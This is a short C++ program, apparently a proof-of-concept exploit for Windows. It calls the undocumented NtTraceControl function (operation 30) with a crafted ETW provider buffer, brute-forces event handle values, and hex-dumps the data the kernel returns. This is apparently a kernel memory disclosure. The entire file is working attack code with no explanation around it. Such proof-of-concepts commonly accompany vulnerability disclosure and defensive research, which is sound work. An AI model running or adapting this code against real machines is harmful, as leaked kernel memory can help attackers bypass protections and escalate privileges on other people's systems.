|
|
#include <Windows.h>
| #include <winternl.h>
| #include <cstdio>
|
| extern "C"
| NTSTATUS WINAPI NtTraceControl(
| DWORD Operation,
| LPVOID InputBuffer,
| DWORD InputSize,
| LPVOID OutputBuffer,
| DWORD OutputSize,
| LPDWORD BytesReturned);
|
| VOID PrintHex(PBYTE Data, ULONG dwBytes) {
| for (ULONG i = 0; i < dwBytes; i += 16) {
| printf("%.8x: ", i);
|
| for (ULONG j = 0; j < 16; j++) {
| if (i + j < dwBytes) {
| printf("%.2x ", Data[i + j]);
| }
| else {
| printf("?? ");
| }
| }
|
| for (ULONG j = 0; j < 16; j++) {
| if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
| printf("%c", Data[i + j]);
| }
| else {
| printf(".");
| }
| }
|
| printf("\n");
| }
| }
|
| int main() {
| BYTE data[] = "9\x00Microsoft.Windows.Kernel.KernelBase\x00\x13\x00\x01\x1asPO\xcf\x89\x82G\xb3\xe0\xdc\xe8\xc9\x04v\xba";
| struct {
| DWORD hevent;
| DWORD padding1;
| LPVOID data;
| DWORD padding2;
| USHORT data_size;
| USHORT padding3;
| DWORD padding4;
| } Input = {
| 0, 0, data, 0, sizeof(data) - 1, 0, 0
| };
| BYTE Output[1024] = { /* zero padding */ };
|
| for (DWORD handle = 0x4; handle < 0x1000; handle += 4) {
| Input.hevent = handle;
|
| DWORD BytesReturned = 0;
| NTSTATUS ntst = NtTraceControl(30, &Input, sizeof(Input), Output, sizeof(Output), &BytesReturned);
| if (NT_SUCCESS(ntst)) {
| PrintHex(Output, BytesReturned);
| break;
| }
| }
|
| return 0;
| }
|
|